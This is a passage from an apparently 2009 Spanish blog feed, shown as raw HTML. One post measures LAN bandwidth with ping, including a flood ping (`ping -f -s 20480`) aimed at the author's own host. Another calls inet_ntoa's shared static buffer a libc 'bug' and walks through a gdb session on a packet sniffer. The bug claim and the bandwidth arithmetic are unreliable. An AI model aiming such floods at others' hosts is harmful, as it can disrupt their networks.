rgb(102, 102, 102); font-style: italic;"&gt;#Muchas Respuestas Omitidas...&lt;/span&gt;&lt;br /&gt;--- &lt;span style="color: rgb(0, 0, 0);"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt; &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;ping&lt;/span&gt; statistics ---&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;100&lt;/span&gt; packets transmitted, &lt;span style="color: rgb(0, 0, 0);"&gt;100&lt;/span&gt; packets received, &lt;span style="color: rgb(0, 0, 0);"&gt;0.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; packet loss&lt;br /&gt;round-trip min&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;avg&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;max&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;stddev = &lt;span style="color: rgb(0, 0, 0);"&gt;2.134&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2.261&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2.437&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0.042&lt;/span&gt; ms&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nota que la maquina tardo en responderme bastante tiempo bueno, eso pienso yo (Creo que por que la PC de Escritorio es WIndows Vista)&lt;br /&gt;&lt;br /&gt;Igual no ocupábamos tantos paquetes con unos cuantos hubiese bastado, puse muchos para sacar un promedio.&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt; 100 packets transmitted, 100 packets received, 0.0% packet loss&lt;br /&gt;round-trip &lt;b&gt;min/avg/max&lt;/b&gt;/stddev = &lt;b&gt;2.134/2.261/2.437&lt;/b&gt;/0.042 ms&lt;/div&gt;&lt;br /&gt;Entonces mandamos en el paquete IP 8 Bytes de ICMP-Header y 10232 de Datos, lo cual suma mas mas o menos 10240 + unos bytes adicionales del IP-Header + el Ethernet-Header, Para efectos de demostración lo dejaremos en 10240 o mas breve mente 10KB.&lt;br /&gt;&lt;br /&gt;un Segundo Tiene 1000 mili segundos, si el tiempo de ida y vuelta promedio fue de 2.261 ms supongo que solo le tomo 1.1305 ms de ida.&lt;br /&gt;&lt;br /&gt;Entonces tenemos que en 1 segundo puedo mandar 10KB o mas, unas 884.5 veces esa cantidad de información. Teóricamente son cerca de ~9057280 Bytes lo que se resume como 8845KB o ~8.65 MB que son cerca de 100 Mb que dan las tarjetas de red, me imagino que lo que hace falta para por que si Transformamos 100 Mb a MB tenemos que deberían de ser 12.5 MB lo cual es el máximo Teórico.&lt;br /&gt;&lt;br /&gt;Ahora probamos el tiempo mínimo de ida y vuelta.&lt;br /&gt;&lt;br /&gt;2.134 ms&lt;br /&gt;1.067 ms de solo enviarlos&lt;br /&gt;En 1 Segundos podremos mandar 937.2 veces esa información lo que da un total de ~95970001 Bytes o 9372 KB o 9.15 MB .&lt;br /&gt;&lt;br /&gt;Ahora en mi sistema puedo mandar un icmp flood con la opción &lt;b&gt;-f&lt;/b&gt; de ping&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# ping -f -s 20480 192.168.0.1&lt;/span&gt;&lt;br /&gt;PING &lt;span style="color: rgb(0, 0, 0);"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;: &lt;span style="color: rgb(0, 0, 0);"&gt;20480&lt;/span&gt; data bytes&lt;br /&gt;..^C.&lt;br /&gt;--- &lt;span style="color: rgb(0, 0, 0);"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt; &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;ping&lt;/span&gt; statistics ---&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;19155&lt;/span&gt; packets transmitted, &lt;span style="color: rgb(0, 0, 0);"&gt;19153&lt;/span&gt; packets received, &lt;span style="color: rgb(0, 0, 0);"&gt;0.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; packet loss&lt;br /&gt;round-trip min&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;avg&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;max&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;stddev = &lt;span style="color: rgb(0, 0, 0);"&gt;3.736&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3.999&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;10.512&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0.142&lt;/span&gt; ms&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;ping &lt;b&gt;-f&lt;/b&gt; -s &lt;b&gt;20480&lt;/b&gt; 192.168.0.1&lt;/div&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;&lt;b&gt;19155 packets transmitted&lt;/b&gt;, &lt;b&gt;19153 packets received&lt;/b&gt;, &lt;b&gt;0.0% packet loss&lt;/b&gt;&lt;br /&gt;round-trip &lt;b&gt;min/avg/max&lt;/b&gt;/stddev = &lt;b&gt;3.736/3.999/10.512&lt;/b&gt;/0.142 ms&lt;/div&gt;&lt;br /&gt;Solo perdimos 2 Paquetes en esta ocasión de 20KB&lt;br /&gt;&lt;br /&gt;3.736 / 2 = 1.868&lt;br /&gt;En 1 Segundo 535 con lo que tenemos 10963597 Bytes o 10706 KB o10.45 MB lo cual es mas aproximado a los 12.5 MB/s Teóricos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8760969822461053596?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8760969822461053596/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8760969822461053596' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8760969822461053596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8760969822461053596'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/01/como-medir-el-ancho-de-banda-entre.html' title='Como medir el Ancho de Banda entre hosts mediante ICMP'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-5789701932051537197</id><published>2009-01-11T00:06:00.001-06:00</published><updated>2009-01-11T00:06:04.697-06:00</updated><title type='text'>Posible error en inet_ntoa()</title><content type='html'>&lt;span style="font-family: verdana,sans-serif;"&gt;Practicando un poco sobre raw sockets y demás, he visto que en existe un error muy curioso en la función inet_ntoa() que es estandar dentro de libc.&lt;/span&gt;&lt;br style="font-family: verdana,sans-serif;"&gt;  &lt;br style="font-family: verdana,sans-serif;"&gt;&lt;span style="font-family: verdana,sans-serif;"&gt;Todo surgio a raiz de &lt;a href="https://foro.elhacker.net/programacion_cc/pequeno_sniffer_en_c-t235639.0.html;msg1156524#msg1156524" target="_blank"&gt;https://foro.elhacker.net/programacion_cc/pequeno_sniffer_en_c-t235639.0.html;msg1156524#msg1156524&lt;/a&gt;&lt;/span&gt;&lt;br style="font-family: verdana,sans-serif;"&gt;  &lt;br style="font-family: verdana,sans-serif;"&gt;&lt;span style="font-family: verdana,sans-serif;"&gt;No se si sea igual el codigo en linux, pero este ultimo al igual que freebsd tambien tiene la falla.&lt;/span&gt;&lt;br style="font-family: verdana,sans-serif;"&gt;  &lt;br style="font-family: verdana,sans-serif;"&gt;&lt;span style="font-family: verdana,sans-serif;"&gt;El codigo de inet_ntoa es el siguiente:&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;pre class="geshi"&gt;inet_ntoa&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;struct&lt;/span&gt; in_addr in&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(153, 51, 51);"&gt;static&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; ret&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;18&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;;&lt;br&gt; &amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;strcpy&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;ret, &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;[inet_ntoa error]&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; inet_ntop&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;AF_INET, &lt;span style="color: rgb(51, 153, 51);"&gt;&amp;amp;&lt;/span&gt;in, ret, &lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt; ret&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;ret&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;&lt;font style="font-family: verdana,sans-serif;" size="2"&gt;&lt;br&gt; inet_ntoa Manda llamar inet_ntop y esta a su vez a inet_ntop4&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;const&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;br&gt; inet_ntop&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; af, &lt;span style="color: rgb(153, 51, 51);"&gt;const&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;void&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt; __restrict src, &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt; __restrict dst,&lt;br&gt;  &amp;nbsp; &amp;nbsp;socklen_t size&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;switch&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;af&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;case&lt;/span&gt; AF_INET&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;inet_ntop4&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;src, dst, size&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;case&lt;/span&gt; AF_INET6&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;inet_ntop6&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;src, dst, size&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;default&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;errno &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; EAFNOSUPPORT;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;NULL&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* NOTREACHED */&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;static&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;const&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;br&gt; inet_ntop4&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;const&lt;/span&gt; u_char &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;src, &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;dst, socklen_t size&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(153, 51, 51);"&gt;static&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;const&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; fmt&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;%u.%u.%u.%u&amp;quot;&lt;/span&gt;;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; tmp&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;255.255.255.255&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; l;&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;l &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; snprintf&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;tmp, &lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;tmp&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;, fmt, src&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;, src&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;, src&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;, src&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l &amp;lt;&lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt; || &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;socklen_t&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; l &amp;gt;&lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; size&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;errno &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; ENOSPC;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;NULL&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;strlcpy&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;dst, tmp, size&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;dst&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;&lt;br style="font-family: verdana,sans-serif;"&gt;&lt;span style="font-family: verdana,sans-serif;"&gt;El problema creo yo que a la hora de poner esto en una direccion statica, al mandarlo a llamar 2 veces durante el mismo printf(), hace guarde en la pila 2 veces la misma direccion:&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;pre&gt;&lt;font size="1"&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# gdb ./sniffer&lt;/span&gt;&lt;br&gt;GNU &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;6.1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;[&lt;/span&gt;FreeBSD&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;break&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;49&lt;/span&gt;&lt;br&gt; &lt;br&gt;Breakpoint &lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt; at 0x8048309: &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;file&lt;/span&gt; sniffer.c, line &lt;span style="color: rgb(0, 0, 0);"&gt;49&lt;/span&gt;.&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; run&lt;br&gt; &lt;br&gt;Starting program: &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;usr&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;home&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;sniffer &lt;br&gt; &lt;br&gt;Esperando paquetes...&lt;br&gt;&amp;nbsp;&lt;br&gt;Breakpoint &lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;, main &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; at sniffer.c:&lt;span style="color: rgb(0, 0, 0);"&gt;49&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;49&lt;/span&gt;						&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;[+] ICMP: %s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\t&lt;/span&gt;-&amp;gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\t&lt;/span&gt;%s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;,inet_ntoa&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;iphead-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;ip_src&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;,inet_ntoa&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;iphead-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;ip_dst&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;0x%x&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;, buff&lt;br&gt; &lt;br&gt;0x28102000&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; i r&lt;br&gt; &lt;br&gt;eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x1	&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;br&gt;ecx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfbfec98	&lt;span style="color: rgb(0, 0, 0);"&gt;-1077941096&lt;/span&gt;&lt;br&gt;edx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0	&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;br&gt;ebx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x1	&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;br&gt; &lt;br&gt;esp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfbfecb0	0xbfbfecb0&lt;br&gt;ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfbfecf8	0xbfbfecf8&lt;br&gt;esi &amp;nbsp; 